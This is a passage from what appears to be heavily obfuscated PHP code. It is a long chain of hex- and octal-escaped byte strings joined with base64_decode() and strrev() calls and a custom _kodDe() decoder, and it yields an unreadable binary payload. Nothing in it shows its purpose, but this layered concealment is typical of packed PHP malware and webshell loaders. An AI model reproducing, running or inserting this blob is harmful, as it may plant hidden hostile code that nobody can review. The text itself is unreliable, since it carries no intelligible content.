78\x10\x8c\x5\xc3\x34\xb0\xef\xe2\xdb\xf6\xde\x73\xfe\xbe\x2b\xb7\x8f\x9e\xbb\x9\x55\x34\x76\xc5\xfa\xb1\x4b\xef\x44\x42\x7\x16"."\64\266\157\334\267\347\374\261\213\167\214\155\4\1\101\331\277\343\256\275\367\335\277\357\342\233\106\267\137\66\266\365\356\175\127\234\111\63\136\277\371\266\321\15\67\361\206\51\257\137\264\147"."\xec\xfc\x9f\x70\xe1\x83\xca\x1c\x1e\x54\xfa\xf5\xb3\x36\xed\xbb\x6f\x3b\x16\x3d\x6e\x58\x37\xb6\xf3\xbc\xb1\xab\x36\x8d\x6e\xb8\x7e\xf4\xf2\x9b\xf6\x9d\xbf\x63\xf4\x47\x67\x8c\x9e\xbd\x69\xff\x8e\x4b\x26\xba".base64_decode('EYnGu9hUwPVt/2n46j0d3m5rMh7aWvRbgy9goF9mR05sixd1hqLBkPsmkxwFvzZ1FEOouQ==')."\xd\x48\x9b\x16\xf8\xc5\x61\x71\xe2\x3\xa3\xa9\x7a\xdc\x56\xac\x81\xf9\x97\x1a\x25\x35\xa6\x25\x94\x8\xc6\xc3\xcd\x21\x30\xf1\xe7\x13\x35\x89\x48\x4a\x60\x6c\x81\x52\x13\xf1\xc5\x3c\xcc\xaf\xbe\x96\xf9\x21"."\x52\x6a\x18\x32\xd7\x2a\x8e\x8e\x68\xbe\x94\x99\x2d\xe5\xf2\xa4\xb1\x4a\x15\xb6\xfd\xaa\xf2\x60\xce\x42\xae\x55\x29\x55\x98\x4b\xa2\x4\x1d\x5f\xd8\xaf\xc1\x1e\x4a\x88\x89\x70\xf5\xb2\x6a\x4f\xbd\xa7\xa1\x56"."\x1\x27\x45\xb4\x4\xb8\x26\x52\xaa\xc0\xd2\x9c\x97\x73\x7c\xc4\xd3\xeb\x88\x35\x78\xea\x6b\x95\xaa\xc2\x40\x15\xb4\x4b\x8c\x2b\x6a\xbd\x4a\x21\x2d\x45\xf3\xd4\x40\x83\xe5\xe6\xa\x58\x44\x17\x2d\xbb\xa8\x19"."\150\217\242\244\74\74\211\227\107\277\16\167\103\51\237\50\101\347\11\101\270\323\224\100\264\305\11\111\275\24\165\124\23\103\315\224\317\346\256\116\330\64\127\327\52\275\160\161\242\102\46\51".strrev('D&QC@D[:TTR'."\n".'&ŚYrС7π:L`&')."\170\6\233\101\234\316\47\261\102\36\161\37\125\105\245\71\332\317\234\325\317\110\35\134\313\157\137\306\373\300\160\131\141\42\6\167\76\205\357\375\205\222\301\66\212\345\11\11\315\323\275\223"."\x1c\x88\x2a\x86\x53\x71\xa0\x8\xdf\x12\x0\x1c\x5d\x2e\x98\x20\x4c\x20\x70\xe1\x68\x6b\x2c\xde\x4e\xef\xbb\x25\x82\x6d\xa1\xf6\x80\xf\x88\x38\xc5\x4\xa\x8f\xe5\x27\xa5\x49\xa9\xc6\x94\x8f\x26\x55\x3b\x86"."\237\174\210\15\131\222\174\25\255\53\325\106\302\20\35\205\102\77\64\6\146\137\41\376\5\64\122\244\251\232\272\200\201\52\271\227\264\130\74\251\242\1\0\362\54\121\335\152\211\133\110\346"."\344\370\366\326\40\223\345\373\220\164\143\62\205\140\272\227\71\123\103\225\343\72\203\261\150\153\230\135\355\153\201\235\157\41\155\72\200\132\342\141\354\341\3\276\257\260\252\244\13\225\50\42"."\114\73\120\244\60\224\346\141\341\64\1\147\160\236\217\42\202\345\243\10\147\66\30\112\362\372\206\277\237\210\362\260\20\140\121\244\63\301\156\166\140\352\273\244\205\207\333\370\375\166\234\21"."\x8b\x4b\x91\x40\x3c\xd0\x9e\xe0\xd1\xf8\x12\x7e\x53\x84\xa7\xd1\x1b\x23\x6a\xb4\xb3\x5d\x50\xfc\x48\x60\x31\x42\x96\x98\x10\x50\x18\xb5\xae\xf1\xd5\xcd\xaf\xed\xa6\x97\xf0\x68\x90\xfe\x9c\xcc\x62\xf8\x62\x52"."\317\352\6\217\62\143\155\55\300\160\117\31\166\306\310\63\11\22\177\145\121\104\215\304\26\320\70\361\106\27\312\247\305\176\103\351\122\220\70\233\24\342\254\305\130\27\137\15\12\302\141\205".strrev('58tl`(wqbaYqr PWZL%U^')."\231\373\42\104\20\231\270\100\177\227\262\0\241\225\120\40\105\256\73\17\363\106\4\274\247\252\335\153\272\117\352\366\372\350\115\106\54\274\164\173\104\223\324\320\122\304\143\23\11\307\65\114"."\x95\x38\xea\x82\xda\x51\x2f\x21\x44\x57\x2d\x8d\xcc\x85\x1f\xd8\x51\xcd\x5\x69\x1f\xa2\xf3\x9a\xf8\x64\x86\x16\xad\x89\xa2\xbf\xb\x92\x6b\x42\xe8\x6f\x4\xfd\x44\x92\x68\xba\xc\xe\x80\x96\x64\x24\xbc\x30"."\264\6\377\43\62\152\371\100\322\13\113\316\2\341\350\32\364\57\42\60\153\302\121\167\145\315\241\344\222\120\210\2\260\60\374\12\120\104\160\240\253\222\267\102\174\211\0\262\305\245\2\250"."\x5a\x55\x6b\xc8\x60\x7a\x7b\x26\xd7\xaa\xaa\xdf\xea\x4\x7c\xe1\xae\x40\x6a\xaa\x4f\x6c\xa8\x6\x1e\x12\x48\x4\x5\xf5\x75\x20\x44\x39\x2e\x10\x93\x7f\x27\x22\x70\x1f\x7c\x10\x5f\x10\x8f\x75\x76\x48\xf1\xb6"."\300\342\160\164\1\213\371\353\130\250\16\252\126\132\302\11\64\104\101\206\214\302\65\240\34\7\201\223\210\105\262\324\353\100\351\26\104\331\121\104\22\331\361\146\200\122\146\347\52\153\356\14".strrev('E ;e!BEF,'."\0".':`1Yx"|8Ʊ&S'."\n".'+ZG')."\131\36\332\371\241\135\33\333\316\145\264\101\176\165\162\116\272\127\362\23\202\151\260\217\152\274\260\267\30\264\125\324\270\166\323\245\244\44\372\45\151\73\117\315\0\25\351\352\66\326\166\112"."\72\41\77\205\100\302\47\201\101\277\335\313\347\23\341\170\71\303\123\172\153\330\116\32\166\326\361\121\270\135\210\76\32\46\127\72\245\317\262\133\30\104\271\247\232\222\312\233\360\155\71\101"."\250\223\250\176\34\64\261\102\133\203\255\41\211\216\226\106\235\73\52\116\246\226\363\215\22\270\135\360\300\57\264\350\10\372\323\15\121\246\231\350\206\217\124\173\200\351\166\63\201\275\253\173".base64_decode('uL7ei/6Zhf42o79B9DeEE1q7h2e2osDs1h4/GJmzSxxORXl3d9V4gwwAbKghWkWjrJTBOQ==')."\x67\x2a\x83\xdd\xd7\xa8\x76\x8e\x69\xbd\xc9\x16\x4f\xa8\x9b\xa9\xe2\x5b\xc4\x5b\xe2\xb1\xe\x2a\xc7\x28\xe1\x56\x85\xfa\x72\x50\xaa\xa9\xaa\xbc\x1a\x4\xb4\x60\x3c\x84\xd7\x18\x85\x62\x79\x35\xd5\xe\x55\xd5"."\274\152\5\356\167\327\72\113\205\243\55\241\245\112\265\221\36\126\65\115\205\302\12\132\321\254\42\245\254\46\126\3\155\53\73\161\312\230\103\212\214\244\154\327\35\244\151\111\201\270\145\2".base64_decode('HvHKwO7SemBrz3OoXE2zwgnE9iMR0lOUZVhYHPYo3HkCTsRbGKr2hIpYBq2IZoWWJuMBnA==')."\110\144\330\103\47\240\77\204\54\341\75\126\61\247\321\13\246\104\362\363\55\7\125\303\162\207\240\111\105\120\54\152\2\336\21\306\51\365\211\347\20\175\3\35\146\131\33\261\20\144\167\32"."\353\210\207\333\3\361\145\60\144\142\47\1\13\327\314\72\256\31\213\210\141\165\112\27\335\243\250\325\362\305\167\72\307\234\116\243\135\61\243\323\250\65\64\130\205\147\236\6\301\357\254\312"."\xef\x31\x33\x55\x4c\xd\xbb\xf\xec\x61\x1\xe6\x48\x82\x5c\xb5\x62\x5a\xac\x1c\x22\x5c\x3c\x26\x66\xd\x70\x1f\x66\x45\xce\x95\x2f\x8b\x9\xc7\xb8\x98\xd5\xe2\x49\x66\x3c\xa3\x35\xd0\x19\x91\x53\x60\xa8\x94".strrev(''."\0".'a."2gt8'."\n".'&8gc[gh)CjA|:ǖ+KXFe')."\75\342\303\52\265\127\332\275\313\223\2\325\140\0\356\145\370\63\272\306\140\52\165\215\227\347\372\253\120\164\101\70\32\152\152\37\11\47\2\355\12\153\70\150\350\260\307\315\131\120\117\70".base64_decode('pkaQZK3KSrhwDBTADneOqir8o/g0YVhuF0uSczzDJEbc7fy+B7E6RwgREO4RuJKa5JV6cQ==').base64_decode('aZnpQXmX11TDbMQ5GJjKOnMEuOr4uNtqW04WBuXidJkdYHPnelCgU3JvgAsr7IPkNCfvbA==')."\x1e\x62\xb3\x59\xe6\xe0\x4a\xd5\x45\x6f\x72\xba\x65\xf1\x53\xe6\x64\x46\x57\xac\x82\x9e\x22\x6e\x3a\x15\x70\x2e\xa7\xa4\x4d\xdd\x12\x7e\xbd\x61\xec\xc9\x6e\x8b\x5\xed\x8c\x70\x4\x21\xfb\xb7\x6d\x69\x66\x83"."\x5c\xca\xdb\x9\x3d\xb\xca\xf9\x96\x5e\x62\xb9\x2f\xee\xd8\x89\x3b\x4d\x92\x45\x3f\x39\x63\x11\x33\x47\xbd\xf6\xb9\xa\x42\x4d\x61\x3e\x34\x12\x94\x48\x8c\x8\x87\xb6\xf8\x48\x43\xd4\xd9\xc3\x74\x6\x62\x3c".base64_decode('VhmMCboPAXkj82aHXswZ5BxniTimAT6DKqDz71Nc5eRRx2d/ZZDY4cVnzSHzbUZaJl2wxA==')."\121\300\25\174\220\51\135\133\51\345\321\107\274\362\105\50\204\73\44\121\272\172\301\134\34\322\330\114\60\341\100\370\11\201\176\110\141\277\105\226\343\23\16\162\110\235\130\252\362\12\207\25"."\151\115\276\163\52\171\206\237\50\143\12\231\162\201\333\175\206\354\275\302\47\174\2\363\345\162\62\237\50\174\27\33\116\323\261\300\336\247\112\155\351\340\360\302\33\50\35\15\151\32\110\2"."\15\222\5\256\64\212\106\264\31\30\377\107\44\334\221\122\333\231\63\47\360\110\34\61\373\71\155\102\202\53\170\14\163\320\247\160\14\312\372\164\174\21\213\136\213\11\161\207\216\250\40\165"."\x7b\xf7\xf9\x85\x3a\x25\xa7\xcc\xe3\x90\x94\x8a\xe5\x82\x0\xc8\x3f\x58\x24\x4a\xa7\xcf\xff\x60\x5c\x17\x5c\x1f\x15\x23\xf7\xde\x3e\xb7\x90\x20\xb1\xe4\x4b\xa4\x90\x44\x96\x5d\x65\x8\x3a\xd2\x3b\x3a\x30\xf3"."\x19\xc8\x16\x38\x86\x78\x41\x34\xa6\xb6\x21\x76\x13\x63\x42\x89\x61\x25\x1d\xe4\x9d\x95\x2\x12\x62\x23\x99\x29\xe5\x27\xb7\x88\x61\xe3\x38\x87\x58\xb\xd0\xf3\x4b\x98\xec\xd5\x88\x72\xf3\x10\xb3\xf5\x0\xdf"."\x60\x42\x18\x8\xd0\x9f\x65\xb9\xb4\x17\x35\x1c\xb0\x2e\xad\xdb\xdc\x35\x13\xa6\x82\xec\xf6\x25\x6e\xb3\x74\x7\x3b\xc7\x9\xec\x90\xe4\x85\x55\x1b\xd4\xf1\x35\x37\xa6\x96\x29\x33\xdf\x81\xae\x94\x77\xe\x9a"."\210\317\315\22\261\316\70\73\343\301\161\254\333\122\343\241\340\62\176\334\302\123\133\3\213\335\51\141\254\233\14\54\250\230\314\65\146\70\235\154\115\325\170\14\253\26\103\221\126\127\201\104"."\x1b\xf7\xe0\xeb\x4c\x53\x23\xe1\xe8\xc2\x8a\x19\x48\x34\x69\x97\x8a\xd0\xc4\x70\x32\xd4\xee\x4e\x73\xd6\x90\x8\x5\xe2\xcc\xbd\x34\x8e\x37\x47\x62\x41\x29\x3b\x1c\x2b\x1f\x9\x2e\xfb\xf0\x44\xaa\x98\xa4\x89".strrev('b%|N1l(+Mmm{;\\W'."\r".'`ץ#Q]Wj')."\20\363\373\174\360\21\36\360\167\373\231\377\57\277\310\204\137\1\177\202\213\307\200\73\367\4\165\246\344\150\250\313\347\10\273\344\357\163\337\105\123\331\5\64\106\131\265\76\146\45\20\246"."\xc7\xb7\x6a\x62\x59\x82\xcf\x95\x33\xcd\x81\x91\x14\xa7\x65\x63\x9\x17\x30\xfa\xdb\x21\x83\x62\x3b\x9c\x8a\x80\xe\x94\x76\xdc\xad\x96\x93\x7c\x86\x29\x56\x8b\x58\xd6\x69\x33\x55\xc2\xee\x9b\xc4\x1c\x89\x9b"."\xd8\x28\xc9\xe7\xa8\x2\x11\xf4\x1\xa1\x1d\x80\x55\x99\x60\xab\x37\x8f\x78\x25\x30\xe3\x20\x92\x5a\x17\xb4\x85\x4f\x59\x18\x69\x8f\xc6\x3a\x16\xc5\x13\xc9\xce\xc5\x4b\x96\x2e\x3\x8f\x93\x8d\xc\x69\xfa\x14".base64_decode('L9OFgONb/6BW9A8yV/6L8aZDt/yyMMcTUR+xW2LmUY2qMHguph7+ylm0Nn8ubzeMA9FR1A==')."\173\115\323\36\47\167\161\373\147\127\14\231\135\335\126\17\307\322\264\76\10\101\141\310\146\211\255\26\10\31\136\371\111\1\214\255\262\274\230\356\165\111\3\220\40\14\371\44\231\101\44\162"."\xc7\xd4\x34\x3a\xa2\xb\xb3\x44\x73\x48\x72\xec\xcc\x16\xcd\x4a\xe2\x43\xd4\xed\x80\x74\xa5\x57\x1b\x70\xe4\xb\x77\xce\x2b\xbd\x68\xfb\xe9\x88\xbb\x9c\x90\x9e\x44\x68\x7c\xbb\xd9\x5f\x9c\xe2\xb7\x71\x4b\xf2"."\x88\x2f\xc0\xd7\x40\x52\x90\x97\x1\xe1\x15\xdc\x9e\x7\x73\xa4\x36\xd7\x22\xe4\x89\xdc\x29\x47\x82\xd8\x5b\x36\x2a\xd3\xc0\x9\x7f\x2b\x92\xa9\xd3\x4a\x17\x15\x93\x41\xa5\x8f\x45\x2c\xe2\x47\x9e\x46\x3d\x8a"."\x70\x77\xcd\x94\xb1\x4e\x3f\xd6\x6c\x1d\x60\xbd\x99\x74\x9b\x36\x25\xbb\x64\x60\x54\x35\x37\x20\xc\xc4\x72\x3\xdc\xc8\x23\xe5\x90\x2a\x30\x3\x6f\x95\xec\xc8\x84\xe0\x0\xaf\x65\xa0\xbc\xe6\x11\x66\x9b\xb"."\167\124\233\107\342\322\73\100\16\167\30\362\373\42\132\241\20\314\340\76\70\26\247\43\51\45\107\372\260\151\212\154\322\342\164\246\215\262\133\250\364\226\346\360\226\10\161\207\250\175\222\253".base64_decode('1LIakKSXD7Hr+GW5SCw0RPZnt6WdDC8Hhp0BYD3jCRZbbScNe03L8haKJrZcazJy/X5rCA==').base64_decode('8rKaZS92uCn6XF/a2BtHO5eToQnDXoLV7COSMOMvEstezxDwBQ9xoKnWM4Txo7b5sX9FIg==')."\xd0\x72\x83\xb3\x58\x82\x9d\xff\x38\x7b\x4f\xdf\x88\x92\xb6\xd8\xe0\xe2\x8d\xfb\x8f\xe6\xde\xa5\x85\xb\x6a\xaa\xb6\xa7\x61\xe1\x1b\x17\xc9\xe5\x81\x7e\xec\x9c\xc4\xcc\xb3\x57\x70\xe8\xdb\x4\xb2\x8f\xf3\xb4"."\116\232\313\257\343\113\356\301\361\373\30\150\251\63\233\74\311\121\70\222\364\372\371\64\22\167\300\262\333\105\74\344\336\234\343\131\14\72\101\116\367\333\226\256\17\60\33\102\74\333\202\242".base64_decode('FLmXdHqa662Y4JWsAul6kp5LwJ+DDX6GPsQA7aU/p1ZqvbcoHJej2aHPOizUR5gvcBeZcw==')."\271\17\357\136\320\335\336\235\224\273\153\27\265\276\76\324\130\311\241\252\243\55\302\133\71\140\23\171\342\204\15\301\370\276\316\341\250\342\244\212\256\322\41\63\116\373\36\304\333\252\141\374"."\376\204\360\350\331\31\217\70\316\237\0\224\365\162\125\306\33\144\6\136\146\51\233\46\133\125\364\51\63\213\166\351\342\44\172\354\322\353\306\176\161\311\376\373\257\31\73\377\47\173\167\355"."\x1e\xbb\xea\x1e\x9a\x4e\x47\xad\x45\xcf\xf3\xb9\x1f\x3b\xef\xc2\x7d\xbb\xaf\xde\xbf\xfd\xfe\xd7\x2f\xdd\xfe\xaf\x7b\x37\xee\xdf\x71\x17\xb6\x34\xba\xf6\x27\xd4\xf0\x68\x74\xf3\xfa\xb1\x4b\x6e\x1d\xdd\xbc\x61"."\xff\xce\x33\xc7\xee\xd9\x32\x76\xf5\x19\xaf\x5f\xbe\xe5\xb5\x75\xeb\x61\xf5\xe4\x89\x6b\xd1\x40\xb1\xbf\x24\xc6\x89\x16\x19\xbb\xee\xde\xd1\x7b\x37\xbf\x7e\xf1\xe5\xfb\x77\xec\x90\xe0\x6d\x6c\x7\x97\x95\x96".strrev('[nf^s1])Lw'."\n".'k_7Fzϳɚ')."\335\205\250\77\376\12\205\306\266\236\263\167\367\235\256\102\121\63\121\112\145\232\45\177\351\143\33\317\31\335\176\5\377\310\336\135\233\250\21\271\253\10\267\174\343\360\264\376\162\370\4\303".strrev('Õ`-^vwnc1.&as};tng},m/S')."\214\26\127\160\333\372\375\167\236\65\166\351\235\34\20\57\373\264\42\140\10\106\121\30\154\60\117\76\270\357\276\13\366\355\276\12\43\311\206\365\373\326\337\75\172\325\255\243\127\257\343\237"."\35\335\265\113\214\162\314\117\136\12\253\100\160\27\341\164\40\271\175\302\322\272\120\222\36\253\223\211\34\26\274\370\3\143\130\3\105\237\116\140\362\24\171\345\0\236\331\151\142\213\26\215"."\143\276\331\114\303\330\257\256\102\344\263\252\261\352\304\32\364\133\133\345\251\302\273\13\22\307\4\24\47\220\166\124\65\236\130\103\2\265\340\33\151\25\360\16\311\75\262\130\170\240\227\235"."\217\250\207\164\156\71\237\260\42\314\350\246\370\247\370\31\363\233\277\22\177\121\74\216\325\311\171\216\170\175\200\162\37\372\252\11\73\334\214\352\366\220\131\224\155\225\247\260\333\134\31\211"."\167\344\54\340\2\324\241\277\120\152\1\352\121\123\302\55\233\312\221\16\12\364\122\153\140\7\370\135\267\217\236\365\213\327\57\335\346\206\245\132\23\166\235\5\211\150\145\257\53\322\133\26"."\xa3\x17\x5c\x56\xfe\x3d\x2\xef\xfc\x1a\x3\x1e\x3d\xfd\xaa\x7d\x17\xbb\x20\x99\xfd\xac\x22\xa9\xc7\x44\x1\x82\xfd\x2e\x3a\xc2\x79\x83\x5c\x84\xe2\xfb\xff\x66\x15\x51\x65\x65\x23\x56\xdb\xd3\x84\xa5\xde\xce".base64_decode('wkgp78XqK29Cdp/peiCo3gmPFVBOeFlmSAnemxNB+nBRoyI/KyZ5ASfKTcrcmEUTpGFxgg==')."\45\11\321\242\117\334\51\301\22\202\352\224\20\116\166\265\27\133\244\170\221\230\217\327\30\132\270\266\41\275\205\40\203\70\337\251\162\277\136\345\36\5\122\4\153\103\275\362\313\131\303\150".base64_decode('H4az8XsoXqxb9Rrp8XIE4ajY1BS8P1AJpLNkpN2fJJY33lKJfbBipfIukQGQToR5ffKTGg==').base64_decode('WJnm5UeE7hc7xM5aK39tZFkurUyZ2jh9diO7v3wSMxwqFZiJPwqy10gm+vsYrRHvTrG+4Q==')."\x9\x97\x9e\x6f\x71\x24\x8b\x61\xe4\xf\x4a\x30\x22\xe5\x80\x13\xad\x75\xbc\x9a\x6\x1d\xa5\x8a\x1d\xe9\xbd\x19\x72\xb0\x43\x49\x14\x36\xa7\x53\xf9\xbb\x3c\x15\xa8\x35\xda\xa2\x33\xb9\xb\xa4\x50\xe9\x8e\x1c".base64_decode('n5B+FihyeE0skd7sgOgJoS+A4QOooabYNRF5VaIMqUwpP9AkZSq2aSo5LT8Cm9FJVuMkaw==')."\xe\xfe\x50\x13\xbe\xc7\x61\x4d\x62\x4f\x30\x9\x1f\xd2\x98\x57\x9\x27\xa1\xd4\xc5\x15\xe4\xd0\x63\x2c\x1f\x7e\x4a\xcd\x87\x19\x61\xbc\x24\x5f\x33\x44\x1c\xcf\x65\x3d\x21\xbf\x4b\xdb\x41\x38\x1\xf0\x46\xfa"."\xd6\x15\x64\x44\x3a\x17\x84\xa3\x92\x61\xa0\x94\xa0\x6\x5b\xa2\x6a\xa0\xa3\xa3\x62\x6\x4c\x16\xd5\x3f\x63\xab\x1a\xdf\xa\xe9\xb9\x4d\x1a\x9a\x8b\x36\x6d\x4a\xa\xdf\x1d\x6a\xaa\xc2\xa9\x55\x8a\x55\x4c\x31".strrev('bG'."\n".'g.LI@o7}CD\\j@kvB'."\0".'#3~Ug')."\x8a\x32\x57\x53\xe8\x88\x36\x55\x93\xd3\x94\x6a\x25\x83\xb8\x3f\x37\x2f\x9e\xe7\x2e\xcc\x9f\x47\x9b\xeb\xd7\xe4\x4c\xbc\xc6\xe2\x26\xdb\x59\xf2\xdd\xfc\x20\xf7\x9b\x59\xf1\x20\x2d\x20\x79\xe0\x27\x2f\x19\x5".base64_decode('tfzi8iK4cl9Kzuqi98Z65OkjN7bKS/uJ3sgv1BgqfUa08jEkP32rgBjYVAahPrNR0FIDGA==').base64_decode('+QSngGZARgdWStAMx5sjtmTzVMIXF8lZTlG8zLZ6Na0Iv0Wzdm15GlhRu7MCBcOdhDHInQ==')."\206\225\103\42\15\261\74\347\147\50\366\312\100\42\205\301\320\137\121\46\22\135\40\42\164\211\71\62\273\230\375\23\211\165\167\125\373\352\326\256\365\33\314\326\220\131\64\261\262\76\16\115"."\343\335\76\47\74\352\11\14\75\7\204\4\67\44\25\147\117\201\105\170\250\277\116\134\266\344\66\205\12\66\64\154\152\232\327\305\245\254\36\226\247\22\235\212\74\167\114\112\65\32\146\61"."\xa4\x40\xdb\xc8\xe4\x12\x1e\xc\x46\x85\x1c\xce\xd7\x5\xa5\x34\x3e\xa2\xdd\xb\x38\xdd\x79\xcf\x17\x8f\xd7\xd1\x71\x96\xc3\x81\x42\xc1\x41\x52\x58\x4\x1f\x6c\x65\x8d\x5e\x3f\xa7\x3\xf4\xb0\xcb\x97\x12\xb7"."\x19\x19\x8\xa1\x42\xae\x74\x6c\x22\xe8\xca\xc0\xd7\xad\x49\xf2\x20\xa2\xa4\x66\x91\xd3\x2d\x9e\x8e\xea\xe2\x89\x80\xe6\x98\xb6\x48\xa4\x84\x67\xcf\xb5\x52\x45\xa3\x60\x3b\xe8\x1a\x7d\x8b\xb9\x8a\x3c\x81\xb6"."\102\33\324\50\110\225\2\232\273\246\52\362\202\105\25\242\143\64\207\21\63\336\300\271\370\153\110\64\316\66\125\221\116\130\31\135\107\345\11\255\252\364\21\124\260\112\141\324\64\247\361\161"."\x2c\xda\x26\xe2\xa5\xfc\xde\x1c\x3c\x2b\xd9\x19\x87\x2b\x49\x81\x28\x1c\x31\x9e\x70\x1a\xfd\x3d\xf1\x4\xce\x38\xf0\x9b\x97\x59\x24\x33\x93\xb\x17\x84\x6e\x11\xc1\xbc\xf\x6b\x64\x29\x10\x3c\x6f\xd9\x11\x8f"."\x25\x63\x41\xf6\x7a\x9c\x53\x75\x4b\xd3\xa6\xb1\x4d\x86\x45\xef\x85\x8a\x7d\x19\xbb\x2f\xc7\x2d\x8a\x18\x4\x97\x2e\xfc\x90\x2\xd8\x50\x2c\xe5\xf3\xdc\xc4\x13\xe3\x2b\x67\x81\x4d\x95\xff\x74\x91\x53\x50\x3d".base64_decode('3TNOvtKlsTNSoK700DeRKdmCC+MnMpL4jrsFyZKfUezlVE/7uqivgKZ6dmmKGZSKu5IMUg==')."\316\121\60\153\350\221\331\265\37\310\247\130\131\325\370\130\17\236\165\252\366\124\327\370\352\152\253\313\163\250\351\256\63\37\133\300\251\247\44\120\46\74\242\4\54\236\334\112\14\106\302\241"."\x68\x52\xd\x3\x77\x6f\x98\x32\xd3\x57\x2f\x6e\xc\x1a\x96\xf0\x19\x4c\xc3\x41\x6e\x7a\x54\xd4\xc9\xa8\xfa\x1c\xdd\xaa\x30\x34\xf4\x5c\x25\xc9\xd\x4f\xf5\xbc\x43\x1b\x4b\x87\x34\x6b\x32\x8f\xb2\x53\xea\xeb"."\353\275\365\15\350\177\166\223\202\271\2\151\144\316\176\44\220\372\372\106\362\77\315\40\57\244\1\12\72\163\20\111\144\264\34\0\206\164\35\32\4\274\23\355\224\113\114\36\355\12\342\213".base64_decode('ngpuGkyLMJxF2EccvTKy6niAUyFn/BDT3YPAjScAn9npAPXezVglakg/GRRoL783jMDEqg==').base64_decode('mUOvbDfxRoXy6S75Yz42uDRReK73sgyv/GwMFKKETpwLOpqGyjg9yOIUJNmkeD9xgqSpxQ==')."\x32\xae\xe4\x15\x17\x47\xe5\xe3\x3f\x92\xcd\x2f\xdf\x92\x58\x96\x7b\x26\xc1\xd1\x28\xaf\x89\xbe\x4e\x44\xfd\x5e\xc0\x18\x56\x58\x85\x19\x73\x48\x15\xb2\x9\x8e\x9e\xc2\x63\x64\x48\xf1\x6e\x93\xa1\x61\x5a\xba".strrev('k27'."\n".'K:I=dvǕ*%ì."X0 $Ǎ ')."\106\211\37\173\372\354\57\321\337\64\36\132\66\271\266\173\142\311\34\71\16\66\334\226\201\54\46\315\24\73\353\112\174\216\361\36\113\11\261\4\172\112\27\344\356\143\245\12\334\131\256\62".base64_decode('AXpEVlYA0suhyUliBWic7oImjmKD3B+27D2Wqp4kIzELnu4QFjqsjkFpI+orFM1+NOuWPA==')._kodDe('KB5embMoaCX9on269iVRv7nuf4jCHbPeBPIiXgPEXxsSesYB5ggkoZPAT+j+yp062qeyY4s=').base64_decode('ssiuwlkH3jE7U3jLPgPpmKbDhsfmZVNlCiYoEtZCye9Fqg40YbjKTMDwCAljC2c6TaO6CA==')."\xc7\x41\x70\x92\x10\xba\xac\x9e\x84\xe6\x0\x29\x24\x8b\xa\x57\x10\x61\xcf\x21\x27\x1c\xce\xd6\x1\x4d\x1b\x99\x2c\x22\x17\x73\xe6\xbd\x7a\xf6\x5\x2c\x70\x11\x83\xc2\xc3\xca\x5f\xee\x94\x8f\xdc\xf0\x90\xaa".base64_decode('spoIr+g2/rx6BUR0IlsZVhG+jSto5KRQiuHa2Wkn2iVbVOnpwckKfaZbwY+PT3TOT3kBeA==').base64_decode('0MxE0iP2RS0XwnV1ukjUQgdF5G2lohszX1Um+aaAae0k9qgJpcfCksIP3e5C3epBWx3BTQ==')."\140\102\272\50\65\146\165\342\46\103\50\315\346\107\161\162\127\211\127\50\162\105\210\353\46\63\130\303\323\243\220\146\316\41\117\142\124\310\305\36\65\330\327\270\137\156\240\374\10\306\264\371".base64_decode('9hhXH0hL7DMiy7dJWsQ7TzTVYUQgvQnAQVEzWOM11jZiDkqeVJB27K6o23gWl5AkGhSVOA==').strrev('TrQƘ))A^l/ +P}Xdp,z'."\0".'Jtac6/')."\267\343\172\277\34\45\366\12\154\65\10\257\355\162\25\330\53\231\104\166\360\52\14\244\354\222\354\343\114\172\330\1\305\244\7\74\44\101\324\333\240\160\11\126\245\65\323\310\144\51\203\300"."\127\22\146\135\12\133\351\6\33\321\114\45\112\275\374\370\331\45\142\262\113\161\212\54\301\261\133\156\270\2\342\334\11\367\300\222\363\120\265\330\241\272\350\231\134\204\174\263\254\10\315\303"."\x42\x94\xb8\xe\x27\xe7\x58\xf8\x65\x8e\x4e\x36\x8b\x95\x72\x2a\x7c\x8a\x64\x49\x23\x9a\x62\x98\x6\xab\x7c\x99\x18\x24\xc8\x18\xd1\x99\xb5\xb6\xb7\x61\x8a\x77\x2a\xec\x60\xe4\x2b\x72\x6c\x73\x6\x7c\x4\x2d"."\54\11\15\360\366\226\221\61\260\165\6\70\1\143\112\207\370\304\235\222\160\34\103\74\104\361\371\44\256\244\170\254\50\311\22\342\141\173\342\153\111\46\353\302\106\211\232\107\143\200\316\112"."\371\164\204\160\166\213\303\240\335\5\200\326\207\63\37\336\350\20\215\241\356\236\114\207\201\241\253\22\170\10\106\176\205\204\224\22\375\20\126\377\50\311\244\57\201\110\3\43\154\255\250\27".strrev('Drӑ˖nni36%-MoJby49v*')."\x51\xa7\xa3\x34\x4f\xe2\x50\x43\x3a\x73\xb\xc0\x76\xea\x1d\x6d\x1d\x7e\x9e\xd4\xcc\x97\x27\x55\x94\x8\x27\x77\x41\x66\x39\xa9\xf\x33\xa7\xaa\x43\x39\x23\xa5\x44\x62\xb\xc2\xc1\x40\xa4\x25\x9c\x58\xa8\xf4"."\343\203\127\141\131\210\232\253\222\145\253\132\342\265\33\362\274\217\163\201\23\335\61\235\16\206\353\275\374\251\31\34\364\366\242\175\204\67\315\367\132\226\330\125\221\36\102\145\342\101\76\147".base64_decode('tRQr9WJZjXl8ey9bVgZrxCtAZ4X+VwIuFPVy+BEdWzhKLZYKlCq0BuArf4G8DyRDI/FIzw==').base64_decode('j9d4Iz9oWIYgB6zEiFx7oKU9HFUDkUhsicMwWJwFFLkiJS2/1STNjJgE+vVyD4vgz05+Bw==')."\xc3\xa5\x5c\xa1\xd3\x27\xbb\x10\x2d\xb0\x33\x2e\x78\x3c\x96\xbf\xdd\x42\xa3\xd2\x5b\x6a\x85\xa2\x66\x58\xba\x94\x40\x9f\xfd\xaa\x83\xcb\x72\x5a\x36\xeb\x78\x12\x35\xdb\x27\x45\x4b\x4e\x7e\x5b\xf1\x53\x2a\xfd"."\0\113\43\202\356\370\0\361\360\202\266\344\177\335\124\43\55\234\360\31\151\146\171\306\257\104\323\147\135\202\362\363\271\354\233\342\361\240\362\224\377\366\55\72\217\344\375\223\70\61\143\257".strrev('+&f(`؈'."\n".'j'."\r".''."\r".'COP|1I|STM=2d]')."\x87\x29\xe7\x10\x19\x81\x1\x77\x58\x5b\xba\x1e\xd3\x73\xdb\xc7\x3b\x9e\xca\x2b\xfb\x6\x79\xb9\x85\xe6\x91\x93\x29\x4\xd9\x23\xfa\x84\x62\xfc\xa5\x26\x51\xd4\x9d\x53\xa1\x1\x28\x5b\x11\x2a\x2f\xe\xa0\x34"."\51\365\364\135\107\376\12\217\62\227\71\176\20\37\40\56\3\103\271\202\355\330\351\267\311\167\145\244\51\241\11\130\377\123\344\12\7